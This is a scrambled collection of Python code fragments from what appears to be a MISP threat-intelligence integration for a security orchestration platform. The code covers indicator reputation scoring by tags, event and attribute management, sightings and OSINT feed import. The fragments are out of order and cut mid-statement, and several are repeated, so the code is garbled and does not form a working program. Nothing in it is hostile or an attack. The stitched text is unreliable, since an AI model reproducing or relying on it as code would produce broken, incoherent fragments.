handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if","outputs_key_field='ID', readable_output=readable_output) else: dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=Common.DBotScore.NONE, reliability=reliability, malicious_description=\"No results were found","for tag in malicious_tag_ids) if is_attribute_tag_malicious: return Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious = any((found_tag :=","limit_tag_output_to_id_and_name(event, True) event['Tag'] = limit_tag_output event_tag_ids.update(tag_ids) if attribute.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(attribute, False)","= demisto_args.get('template') attributes = demisto_args.get('attributes').replace(\"'\", '\"') try: args = json.loads(attributes) if not isinstance(args,","readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Event\", outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No events found in MISP for","added to attribute {att_id}' return CommandResults(readable_output=human_readable) raise DemistoException(f\"An error was occurred: {json.dumps(response)}\") def","not attributes_list: return None for attribute in attributes_list: attribute.pop(\"RelatedAttribute\") # get rid of","'External analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids', True)), 'comment': demisto_args.get('comment'), 'value': demisto_args.get('value') } event_id = event_id","outputs[0].get('Timestamp'), 'Events with the scored tag': events_to_human_readable, 'Scored Tag ID': found_tag_id, 'Scored Tag","= MISPAttribute() attribute_instance.uuid = attribute_uuid if attribute_type: attribute_instance.type = attribute_type if distribution: attribute_instance.distribution","elif command == 'misp-remove-tag-from-event': return_results(remove_tag(args)) elif command == 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True)) elif command","attribute.get('Event') convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\"id\")] = {\"Event Name\": event.get(\"info\"), \"Threat Level ID\": event.get('threat_level_id'), \"Event","attribute: {value} was added to event id {new_event.id}.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID',","such case, the score will be BAD if the threat level id is","sure the UUID exists.\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag","for tag in malicious_tag_ids) if is_event_tag_malicious: return Common.DBotScore.BAD, found_tag is_event_tag_suspicious = any((found_tag :=","take. Examples: >>> {'ip': '8.8.8.8', 'domain': 'google.com'} [{'ip': '8.8.8.8'}, {'domain': 'google.com'}] \"\"\" return","integer, please change the given: '{tag}' id.\") def create_updated_attribute_instance(demisto_args: dict, attribute_uuid: str) ->","command or as part of another command (create event for example) Args: event_id","attribute in response.get('Object', {}).get('Attribute', []): convert_timestamp_to_readable(attribute, None) response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response =","\"\" for event in events_to_human_readable: # removing those fields as they are shared","headers = {'Accept': 'application/json'} url = build_feed_url(demisto_args) osint_url = f'{url}/manifest.json' limit = arg_to_number(demisto_args.get('limit',","= argToBoolean(demisto_args.get('compact', False)) include_correlations = argToBoolean(demisto_args.get('include_correlations', False)) page = arg_to_number(demisto_args.get('page', 1), \"page\", required=True)","None) response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response = replace_keys_from_misp_to_context_data(response) formatted_response.update({\"ID\": event_id}) human_readable = f'Object","'old_id': 'OldID', 'org_id': 'OrganizationID', 'Org': 'Organization', 'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name':","value in obj_to_build.items() } return obj_to_build def reputation_command_to_human_readable(outputs, score, events_to_human_readable): found_tag_id, found_tag_name =","'true' else 0 args_to_misp_format.pop('include_feed_correlations') if 'limit' not in args_to_misp_format: args_to_misp_format['limit'] = '50' if","= PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has been successfully added to attribute","return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'misp-add-file-object': return_results(add_file_object(args)) elif","att_id: raise DemistoException('ID or UUID not specified') sighting_args = { 'id': attribute_id, 'uuid':","arg_to_number(params.get('attributes_limit', 20), \"attributes_limit\", required=True) command = demisto.command() demisto.debug(f'[MISP V3]: command is {command}') args","tag appears in both Malicious tag ids and Suspicious tag ids lists the","of attributes that will be written to the context Returns: CommandResults includes all","get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes): for i in range(len(attributes)): attributes[i] = {key: attributes[i].get(key) for key","[ 'dst_port', 'src_port', 'domain', 'hostname', 'ip_src', 'ip_dst' ] # converting args to MISP's","= response_object.get('Attribute') return [attribute.get('value') for attribute in attributes] def pagination_args_validation(page, limit): if page","elif command == 'misp-add-domain-object': return_results(add_domain_object(args)) elif command == 'misp-add-url-object': return_results(add_url_object(args)) elif command ==","Comment': attribute.get('Comment'), 'Attribute Value': attribute.get('Value'), 'Attribute Tags': attribute_tags, 'Attribute Sightings': attribute_sightings, 'To IDs':","that score found_related_events (dict): contains info (name, id, threat level id) about all","The dictionary that includes the tag list. is_event_level (bool): Whether the attribute_dict was","True) if isinstance(new_event, dict) and new_event.get('errors'): raise DemistoException(new_event.get('errors')) event_id = new_event.id add_attribute(event_id=event_id, internal=True,","event_objects: return [event_object.get('ID') for event_object in event.get('Object')] def event_to_human_readable(response: dict): event_highlights = []","ids are the newer ones. Returns: response (dict): The parsed outputs to context","demisto_args.get('type', 'other'), 'category': demisto_args.get('category', 'External analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids', True)), 'comment': demisto_args.get('comment'), 'value': demisto_args.get('value')","is not valid\") if dbot_type == 'DOMAIN': if not re.compile(DOMAIN_REGEX, regexFlags).match(value): raise DemistoException(f\"Error:","def build_misp_complex_filter(demisto_query: str): \"\"\" Examples are available in UT: test_build_misp_complex_filter. For more information","integer, please change the given: '{tag}' id.\") except ValueError: raise DemistoException(f\"Tag id has","UT: test_build_misp_complex_filter. For more information please see build_complex_query in pymisp/api.py Args: demisto_query: complex","build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] = controller demisto.debug(f\"[MISP V3]: args for {demisto.command()} command are {args_to_misp_format}\") return","return_error(error) def warn(*args): \"\"\" Do nothing with warnings \"\"\" pass # Disable requests","will be scored by their event's threat level id. In such case, the","and examples please see UT: test_extract_error. Args: error: list of responses from error","the search query when user set the arg 'compact' to True\"\"\" if isinstance(response_object,","dict): event_id = demisto_args.get('event_id') ip_object_args = [ 'dst_port', 'src_port', 'domain', 'hostname', 'ip_src', 'ip_dst'","received from an event object, meaning the tags are event's ones. Otherwise, the","'Unknown': 4 } MISP_ENTITIES_TO_CONTEXT_DATA = { 'deleted': 'Deleted', 'category': 'Category', 'comment': 'Comment', 'uuid':","(bool): Whether the attribute_dict was received from an event object, meaning the tags","one. Otherwise it's event's. \"\"\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: response","return_error('Unable to connect to MISP because of a NewConnectionError, ' 'Please make sure","f'Tag {tag} has been successfully added to event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event',","if event_id else arg_to_number(demisto_args.get('event_id'), \"event_id\") attributes_args.update({'id': event_id}) if event_id else None distribution =","distribution = demisto_args.get('distribution') category = demisto_args.get('category') comment = demisto_args.get('comment') value = demisto_args.get('value') first_seen","in event_tags_ids for tag in suspicious_tag_ids) if is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag # no","attribute search returned from MISP to the context output format. \"\"\" response_object =","Attributes tags (both malicious and suspicious) are stronger than events' tags. \"\"\" found_tag","indicator to get that score found_related_events (dict): contains info (name, id, threat level","'CreationDate', 'info': 'Info', 'published': 'Published', 'attribute_count': 'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock', 'locked': 'Locked', 'publish_timestamp': 'PublishTimestamp',","= event.get('Object', []) if event_objects: return [event_object.get('ID') for event_object in event.get('Object')] def event_to_human_readable(response:","DemistoException('ID or UUID not specified') sighting_args = { 'id': attribute_id, 'uuid': attribute_uuid, 'type':","in event.get('Object')] def event_to_human_readable(response: dict): event_highlights = [] for event in response: event_tags","0 if 'from' in args_to_misp_format: args_to_misp_format['date_from'] = args_to_misp_format.pop('from') if 'to' in args_to_misp_format: args_to_misp_format['date_to']","url_obj.extend({'scheme': url_parse.scheme}) if url_parse.scheme else None url_obj.append({'resource_path': url_parse.path}) if url_parse.path else None url_obj.append({'query_string':","returned from MISP to the context output format. \"\"\" response_object = copy.deepcopy(response) if","indicator value (an IP address, email address, domain, url or file hash). dbot_type","distribution: attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution] if category: attribute_instance.category = category if value: attribute_instance.value =","= [] object_tags_list = object_data_dict.get('Tag', []) for tag in object_tags_list: if tag.get('ID') ==","tag list can be full of in unnecessary data, we want to limit","others that may exist\" else: pagination_message += f\"Showing page {page}\" md = tableToMarkdown(","= attribute_id or attribute_uuid if not att_id: raise DemistoException('ID or UUID not specified')","is_event_tag = tag.get('inherited', 0) # field doesn't exist when this is an attribute","limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \"\"\" As tag list can be full of in unnecessary data,","demisto_args.get('category', 'External analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids', True)), 'comment': demisto_args.get('comment'), 'value': demisto_args.get('value') } event_id =","< 0: raise DemistoException(\"limit should be zero or a positive number\") def attribute_response_to_markdown_table(response:","\"\"\" event = MISPEvent() event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg = args.get('threat_level_id') if threat_level_id_arg: event.threat_level_id","ATTRIBUTE_FIELDS = [ 'id', 'event_id', 'object_id', 'object_relation', 'category', 'type', 'to_ids', 'uuid', 'timestamp', 'distribution',","{response}') else: human_readable = f'Event {event_id} has been deleted' return CommandResults(readable_output=human_readable, raw_response=response) def","PYMISP.tag(uuid, tag) # add the tag except PyMISPError: raise DemistoException(\"Adding the required tag","response.get('Object', {}).get('Attribute', []): convert_timestamp_to_readable(attribute, None) response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response = replace_keys_from_misp_to_context_data(response) formatted_response.update({\"ID\":","0, 'false_positive': 1, 'expiration': 2 } SIGHTING_TYPE_ID_TO_NAME = { '0': 'sighting', '1': 'false_positive',","dict): entry_id = demisto_args.get('entry_id') event_id = demisto_args.get('event_id') file_path = demisto.getFilePath(entry_id).get('path') obj = FileObject(file_path)","in response: event = attribute.get('Event', {}) attribute_tags = [tag.get('Name') for tag in attribute.get('Tag')]","if misp_attributes_args: non_req_args = [ 'first_seen', 'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')}) if","be full of in unnecessary data, we want to limit this list to","if not re.compile(DOMAIN_REGEX, regexFlags).match(value): raise DemistoException(f\"Error: The given domain: {value} is not valid\")","response: raise DemistoException(f'Error in `{demisto.command()}` command: {response}') for ref in obj.ObjectReference: response =","range(len(attributes)): attributes[i] = {key: attributes[i].get(key) for key in ATTRIBUTE_FIELDS if key in attributes[i]}","'or_parameters') is_complex_not_operator = is_misp_complex_search_helper(match_not, misp_query_params, 'not_parameters') is_complex_search = is_complex_and_operator or is_complex_or_operator or is_complex_not_operator","ValueError as e: raise DemistoException( f'`attribute` parameter could not be decoded, may not","= f'Sighting \\'{sighting_type}\\' has been successfully added to attribute {att_id}' return CommandResults(readable_output=human_readable) raise","Please make sure the UUID exists.\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable","[\"1\", \"2\", \"3\"] for event in found_related_events.values(): if event['Threat Level ID'] in bad_threat_level_ids:","the indicator to get that score found_related_events (dict): contains info (name, id, threat","attributes_limit): \"\"\" After getting all the attributes which match the required indicator value,","Example: args should look like: [{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score': {value=95, to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score':","== 'ip': return_results( generic_reputation_command(args, 'ip', 'IP', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command ==","if 'enforceWarninglist' in args_to_misp_format: args_to_misp_format['enforceWarninglist'] = 1 if demisto_args.get('enforceWarninglist') == 'true' else 0","event_tag_ids.update(tag_ids) if attribute.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(attribute, False) attribute['Tag'] = limit_tag_output attributes_tag_ids.update(tag_ids) return",">>> {'ip': '8.8.8.8', 'domain': 'google.com'} [{'ip': '8.8.8.8'}, {'domain': 'google.com'}] \"\"\" return [{k: v}","{args}\") def delete_event(demisto_args: dict): \"\"\" Gets an event id and deletes it. \"\"\"","List[Dict[str, int]] for index, uri in enumerate(uri_list, 1): response = requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers,","= build_generic_object('ip-port', misp_attributes_args) return add_object(event_id, obj) else: raise DemistoException( f'None of required arguments","be scored 3 (i.e malicious). * have tags which configured as suspicious will","events', list(found_related_events.values())) return CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output) else: dbot = Common.DBotScore(indicator=value,","demisto.debug(f\"[MISP V3]: args for {demisto.command()} command are {args_to_misp_format}\") return args_to_misp_format def build_attributes_search_response(response: Union[dict,","= get_hash_type(value) if hash_format == 'Unknown': raise DemistoException('Invalid hash length, enter file hash","event.info = args.get('info') if args.get('info') else 'Event from XSOAR' event.date = datetime.today() event.published","page {page}\" md = tableToMarkdown( f\"MISP search-attributes returned {len(response_for_context)} attributes\\n {pagination_message}\", attribute_highlights, removeNull=True)","attributes_tag_ids.update(tag_ids) return found_related_events, attributes_tag_ids, event_tag_ids def convert_timestamp_to_readable(attribute, event): if attribute.get('timestamp'): attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp'))","tag ids. If there is an id that exists in both sets, it","as related to the tag. \"\"\" scored_events = [] if found_tag: for attribute","event id {new_event.id}.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event ) def generic_reputation_command(demisto_args,","attribute in response: event = attribute.get('Event', {}) attribute_tags = [tag.get('Name') for tag in","PYMISP.add_event(new_event, True) if isinstance(new_event, dict) and new_event.get('errors'): raise DemistoException(new_event.get('errors')) event_id = new_event.id add_attribute(event_id=event_id,","User can use the command search-attributes in order to get the information about","is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has been successfully added","] def build_object_output(event): if event.get('Object'): event['Object'] = [ { 'name': event_object.get('name'), 'uuid': event_object.get('uuid'),","'object_id': 'ObjectID', 'object_relation': 'ObjectRelation', 'template_version': 'TemplateVersion', 'template_uuid': 'TemplateUUID', 'meta-category': 'MetaCategory', 'decay_score': 'DecayScore', 'first_seen':","request found_tag (str): The tag that was scored as malicious or suspicious. If","list by the event ids as the greater event ids are the newer","score of the indicator. For the context data outputs, for every attribute we","'to_ids' in args_to_misp_format: args_to_misp_format['to_ids'] = 1 if demisto_args.get('to_ids') == 'true' else 0 if","SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj = MISPSighting() sigh_obj.from_dict(**sighting_args) response = PYMISP.add_sighting(sigh_obj, att_id) if response.get('message'): raise","''' params = demisto.params() if not params.get('credentials') or not (MISP_API_KEY := params.get('credentials', {}).get('password')):","= MISPEvent() misp_new_event.load(response) add_event_response = PYMISP.add_event(misp_new_event) event_object = add_event_response.get('Event') if event_object and 'id'","# field doesn't exist when this is an attribute level, default is '0'","is_attribute_in_event_with_bad_threat_level): \"\"\" Calculates the indicator score by following logic. Indicators of attributes and","outputs[0].get('Value'), 'Attribute Category': outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'), 'Events with the scored tag': events_to_human_readable, 'Scored","} SIGHTING_TYPE_NAME_TO_ID = { 'sighting': 0, 'false_positive': 1, 'expiration': 2 } SIGHTING_TYPE_ID_TO_NAME =","response = PYMISP.search(**args) if response: response_for_context = build_events_search_response(response) event_outputs_to_human_readable = event_to_human_readable(response_for_context) pagination_message =","attributes). score: the indicator score found_tag: the tag (id) which made the indicator","'Published', 'attribute_count': 'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock', 'locked': 'Locked', 'publish_timestamp': 'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail', 'name': 'Name',","given MISP event object This function can be called as an independence command","the given UUID belongs to an attribute (True) or event (False). \"\"\" uuid","connected.') def build_feed_url(demisto_args): url = demisto_args.get('feed') url = url[:-1] if url.endswith('/') else url","None) parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data, ) def main():","{uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def remove_tag(demisto_args: dict, is_attribute=False):","will be scored as malicious. - Attributes tags (both malicious and suspicious) are","DemistoException(\"Removing the required tag was failed. Please make sure the UUID and tag","CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data, ) def main(): params = demisto.params() malicious_tag_ids =","'true' else 0 if 'from' in args_to_misp_format: args_to_misp_format['date_from'] = args_to_misp_format.pop('from') if 'to' in","human_readable = f'Tag {tag} has been successfully removed from the attribute {uuid}' return","attribute_instance.first_seen = first_seen if last_seen: attribute_instance.last_seen = last_seen return attribute_instance def update_attribute_command(demisto_args: dict)","= copy.deepcopy(response) if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) events = [event.get('Event') for event","results to Demisto demisto_args (dict): Demisto args new_event (MISPEvent): When this function was","demisto_args.get('attributes').replace(\"'\", '\"') try: args = json.loads(attributes) if not isinstance(args, list): args = dict_to_generic_object_format(args)","= url[:-1] if url.endswith('/') else url if PREDEFINED_FEEDS.get(url): url = PREDEFINED_FEEDS[url].get('url') # type:","= {\"Event Name\": event.get(\"info\"), \"Threat Level ID\": event.get('threat_level_id'), \"Event ID\": event.get(\"id\")} if event.get('Tag'):","response in test_data/reputation_command_response.json Please see an example for a parsed output in test_data/reputation_command_outputs.json","def add_events_from_feed(demisto_args: dict, use_ssl: bool, proxies: dict): \"\"\"Gets an OSINT feed from url","make sure the UUID and tag exist.\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes')","list can be full of in unnecessary data, we want to limit this","convert_arg_to_misp_args(demisto_args, ip_object_args) ips = argToList(demisto_args.get('ip')) for ip in ips: misp_attributes_args.append({'ip': ip}) if misp_attributes_args:","def build_feed_url(demisto_args): url = demisto_args.get('feed') url = url[:-1] if url.endswith('/') else url if","'Event Info': event.get('Info'), 'Event Organization ID': event.get('OrganizationID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID')","function can be called as an independence command or as part of another","please see build_complex_query in pymisp/api.py Args: demisto_query: complex query contains saved words: 'AND:',","MISPAttribute from pymisp.tools import GenericObjectGenerator import copy from pymisp.tools import FileObject from CommonServerPython","the given id: {event_id} was not found in MISP. please check it once","ssl=VERIFY, proxies=PROXIES) except PyMISPError as e: handle_connection_errors(e.message) PREDEFINED_FEEDS = { 'CIRCL': {'name': 'CIRCL","(str): Indicator type (file, url, domain, email or ip). malicious_tag_ids (set): Tag ids","return_results( generic_reputation_command(args, 'domain', 'DOMAIN', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'email': return_results(generic_reputation_command(args,","(each one is str), and verify all the tags are valid positive integers.\"\"\"","= response.get('Attribute') if not attributes_list: return None attributes_list = sorted(attributes_list, key=lambda attribute_item: attribute_item['event_id'],","function\"\"\" if given_object.get('Galaxy'): given_object['Galaxy'] = [ { 'name': star.get('name'), 'type': star.get('type'), 'description': star.get('description')","as malicious or suspicious. Args: all_attributes (dict): The parsed response from the MISP","Union[dict, requests.Response]) -> list: \"\"\"returns list of attributes' values that match the search","demisto_args.get('include_decay_score') == 'true' else 0 if 'include_sightings' in args_to_misp_format: args_to_misp_format['include_sightings'] = 1 if","'url': 'URL', 'event_uuids': 'EventUUIDS', } MISP_ANALYSIS_TO_IDS = { 'initial': 0, 'ongoing': 1, 'completed':","'ongoing': 1, 'completed': 2 } MISP_DISTRIBUTION_TO_IDS = { 'Your_organization_only': 0, 'This_community_only': 1, 'Connected_communities':","{'credential': (url_parse.username, url_parse.password)}) if url_parse.username and url_parse.password else None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object =","f\"Showing page {page} out others that may exist\" else: pagination_message += f\"Showing page","one of {ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \"\"\" Gets 2 sets which include tag","== 'sha256': return Common.File(dbot_score=dbot_score, sha256=value) if dbot_type == \"IP\": return Common.IP(ip=value, dbot_score=dbot_score) if","The given IP address: {value} is not valid\") if dbot_type == 'DOMAIN': if","dict): event_id = demisto_args.get('event_id') template = demisto_args.get('template') attributes = demisto_args.get('attributes').replace(\"'\", '\"') try: args","List[dict]) -> GenericObjectGenerator: \"\"\" Args: template_name: template name as described in https://github.com/MISP/misp-objects args:","(array of attributes). score: the indicator score found_tag: the tag (id) which made","ID': attribute.get('EventID'), 'Attribute Category': attribute.get('Category'), 'Attribute Type': attribute.get('Type'), 'Attribute Comment': attribute.get('Comment'), 'Attribute Value':","event: if event.get('timestamp'): attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def","set to 1 it says that it is an event's tag. Otherwise (if","information and examples please see UT: test_extract_error. Args: error: list of responses from","demisto_args.get('last_seen') attribute_instance = MISPAttribute() attribute_instance.uuid = attribute_uuid if attribute_type: attribute_instance.type = attribute_type if","data, we want to limit this list to include only the ID and","= not params.get('insecure') PROXIES = handle_proxy() # type: ignore try: PYMISP = ExpandedPyMISP(url=MISP_URL,","return { 'Attribute Type': outputs[0].get('Type'), 'Dbot Score': score, 'Attribute Value': outputs[0].get('Value'), 'Attribute Category':","of it's tags. If so, the event will be added to related_events list","misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event: if event.get('timestamp'): attribute['Event']['timestamp'] = misp_convert_timestamp_to_date_string(event.get('timestamp')) if event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string(","if threat_level_id_arg: event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg = args.get('analysis') event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg","convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\"id\")] = {\"Event Name\": event.get(\"info\"), \"Threat Level ID\": event.get('threat_level_id'), \"Event ID\":","readable_output += tableToMarkdown('Related events', list(found_related_events.values())) return CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output) else:","all the attributes which match the required indicator value, this function parses the","the attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) # event's","def event_to_human_readable_tag_list(event): event_tags = event.get('Tag', []) if event_tags: return [tag.get('Name') for tag in","try: uri_list = requests.get(osint_url, verify=use_ssl, headers=headers, proxies=proxies).json() events_ids = list() # type: List[Dict[str,","tag_id = tag.get('id') if is_event_level: tag_set_ids.add(tag_id) else: # attribute level if not is_event_tag:","misp_query_params[operator_key] = match_operator.group(2).split(',') is_complex_search = True return is_complex_search def prepare_args_to_search(controller): demisto_args = demisto.args()","for operators. using the operators is optional. if 'demisto_query' does not contains any","in Returns: Union[dict, list, str]: same object type that got in \"\"\" if","3 (i.e malicious). * have tags which configured as suspicious will be scored",":= tag) in attribute_tags_ids for tag in suspicious_tag_ids) if is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag","'category', 'type', 'to_ids', 'uuid', 'timestamp', 'distribution', 'sharing_group_id', 'comment', 'deleted', 'disable_correlation', 'first_seen', 'last_seen', 'value',","url: {value} is not valid\") if dbot_type == 'EMAIL': if not re.compile(emailRegex, regexFlags).match(value):","for tag in suspicious_tag_ids) if is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag # no tag was","valid\") if dbot_type == 'EMAIL': if not re.compile(emailRegex, regexFlags).match(value): raise DemistoException(f\"Error: The given","number\") if limit and limit < 0: raise DemistoException(\"limit should be zero or","= GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return misp_object def misp_convert_timestamp_to_date_string(timestamp: Union[str, int]) -> str: \"\"\" Gets","found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids = [\"1\", \"2\", \"3\"] for event in found_related_events.values(): if event['Threat Level","}) return event_highlights def search_events(demisto_args: dict) -> CommandResults: \"\"\" Execute a MISP search","'RelatedEvent', 'Galaxy', 'Tag', 'decay_score', 'Object', 'Feed', ] ATTRIBUTE_FIELDS = [ 'id', 'event_id', 'object_id',","list() # type: List[Dict[str, int]] for index, uri in enumerate(uri_list, 1): response =","None for attribute in attributes_list: attribute.pop(\"RelatedAttribute\") # get rid of this useless list","raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Attribute\", outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No attributes found in MISP","as malicious. - Attributes tags (both malicious and suspicious) are stronger than events'","SIGHTING_TYPE_NAME_TO_ID = { 'sighting': 0, 'false_positive': 1, 'expiration': 2 } SIGHTING_TYPE_ID_TO_NAME = {","= args.get('analysis') event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg) if analysis_arg in MISP_ANALYSIS_TO_IDS else analysis_arg event.info =","get_new_misp_event_object(args): \"\"\" Create a new MISP event object and set the event's details.","is_attribute (bool): if the given UUID is an attribute's one. Otherwise it's event's.","will remove tag to given UUID of event or attribute. is_attribute (bool): if","for example) Args: event_id (int): Event ID to add attribute to internal (bool):","MISP for the given filters: {args}\") def delete_event(demisto_args: dict): \"\"\" Gets an event","response.get('message'): raise DemistoException(f\"An error was occurred: {response.get('message')}\") elif response.get('Sighting'): human_readable = f'Sighting \\'{sighting_type}\\'","misp event id 'type': demisto_args.get('type', 'other'), 'category': demisto_args.get('category', 'External analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids', True)),","and ';' as delimiter for operators. using the operators is optional. if 'demisto_query'","'CIRCL': {'name': 'CIRCL OSINT Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp', 'input': 'network'}, 'Botvrij.eu': {'name':","formatted_attributes = replace_keys_from_misp_to_context_data(attributes) return formatted_attributes def build_galaxy_output(given_object): \"\"\"given_object is attribute or event, depends","return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event ) def add_attribute(event_id: int = None,","r\"([a-z¡-\\uffff0-9](?:[a-z¡-\\uffff0-9-]{0,61}\" \"[a-z¡-\\uffff0-9])?(?:\\\\.(?!-)[a-z¡-\\uffff0-9-]{1,63}(?<!-))*\" \"\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\" \"|html)$)(?:[a-z¡-\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\.?$\" \"|localhost)\" ) MISP_SEARCH_ARGUMENTS = [ 'value', 'type', 'category', 'org',","f'Sighting \\'{sighting_type}\\' has been successfully added to attribute {att_id}' return CommandResults(readable_output=human_readable) raise DemistoException(f\"An","it is part of the event scope). If the data is attribute's (is_event_level","be a positive integer, please change the given: '{tag}' id.\") except ValueError: raise","{value} is not valid\") if dbot_type == 'EMAIL': if not re.compile(emailRegex, regexFlags).match(value): raise","= response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes): for i in range(len(attributes)): attributes[i] = {key:","which made the indicator to get that score found_related_events (dict): contains info (name,","in malicious_tag_ids) if is_event_tag_malicious: return Common.DBotScore.BAD, found_tag is_event_tag_suspicious = any((found_tag := tag) in","value=domain) if text: obj.add_attribute('text', value=text) return add_object(event_id, obj) def add_url_object(demisto_args: dict): \"\"\"Building url","= attribute.get('Event', {}) attribute_tags = [tag.get('Name') for tag in attribute.get('Tag')] if attribute.get( 'Tag')","5 } SIGHTING_TYPE_NAME_TO_ID = { 'sighting': 0, 'false_positive': 1, 'expiration': 2 } SIGHTING_TYPE_ID_TO_NAME","} return obj_to_build def reputation_command_to_human_readable(outputs, score, events_to_human_readable): found_tag_id, found_tag_name = \"\", \"\" for","and search if found_tag is one of it's tags. If so, the event","parsed outputs to context data (array of attributes). score: the indicator score found_tag:","parameters and ';' as delimiter for operators. using the operators is optional. if","found_related_events[event.get(\"id\")] = {\"Event Name\": event.get(\"info\"), \"Threat Level ID\": event.get('threat_level_id'), \"Event ID\": event.get(\"id\")} if","score, found_tag, found_related_events = parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit) dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score,","new_event: MISPEvent = None): \"\"\"Adding attribute to a given MISP event object This","attributes_list: return None for attribute in attributes_list: attribute.pop(\"RelatedAttribute\") # get rid of this","demisto_args.get('comment'), 'value': demisto_args.get('value') } event_id = event_id if event_id else arg_to_number(demisto_args.get('event_id'), \"event_id\") attributes_args.update({'id':","event_tags, 'Event Galaxies': event_galaxies, 'Event Objects': event_objects, 'Publish Timestamp': 